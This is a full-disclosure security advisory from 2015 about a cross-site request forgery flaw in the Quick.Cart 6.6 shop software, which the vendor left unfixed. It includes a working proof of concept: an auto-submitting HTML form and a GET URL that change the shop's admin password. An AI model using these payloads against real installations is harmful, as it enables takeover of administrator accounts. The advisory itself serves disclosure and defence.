Quick.Cart 6.6: CSRF

Quick.Cart 6.6: CSRF

Date: 2015-10-07 16:05:03
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: Quick.Cart 6.6
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Contact: info@opensolution.org
Vulnerability Type: CSRF
Remote Exploitable: Yes
Reported to vendor: 09/07/2015
Disclosed to public: 10/07/2015
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of curesec GmbH

2. Description

None of the requests of Quick.Cart 6.6 are protected from CSRF. This means that an attacker can perform actions for a logged in user by getting them to visit a website with specifically crafted HTML and JavaScript while logged in.

The interesting Forms are all in the admin.php file. To add security through obscurity, Quick.Cart does suggest to rename this file, which would make it more difficult to exploit these vulnerabilities. The renaming is not mandatory.

The vulnerability can be exploited via GET or POST because of a call to extract: extract( $_GET );

3. Proof of Concept

Change Admin Password:

<html> <body> <form id="myform" action="http://localhost/ecommerce/Quick.Cart_v6.6/admin.php?p=tools-config" method="POST"> <input type="hidden" name="sOption" value="save �»" /> <input type="hidden" name="login" value="admin" /> <input type="hidden" name="pass" value="admin" /> <input type="submit" value="Submit request" /> </form> <script>document.createElement('form').submit.call(document.getElementById('myform'));</script> </body> </html>

Or via GET:

http://localhost/ecommerce/Quick.Cart_v6.6/admin.php?p=tools-config&_POST[sOption]=save%20%26raquo%3B&_POST[login]=admin&_POST[pass]=123&_POST[submit]=Submit%20request

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

09/07/2015 Informed Vendor about Issue
10/01/2015 Reminded Vendor of release date
10/01/2015 Vendor does not plan on releasing a fix, because the optional rename of the admin file may mitigate this issue already
10/07/2015 Disclosed to public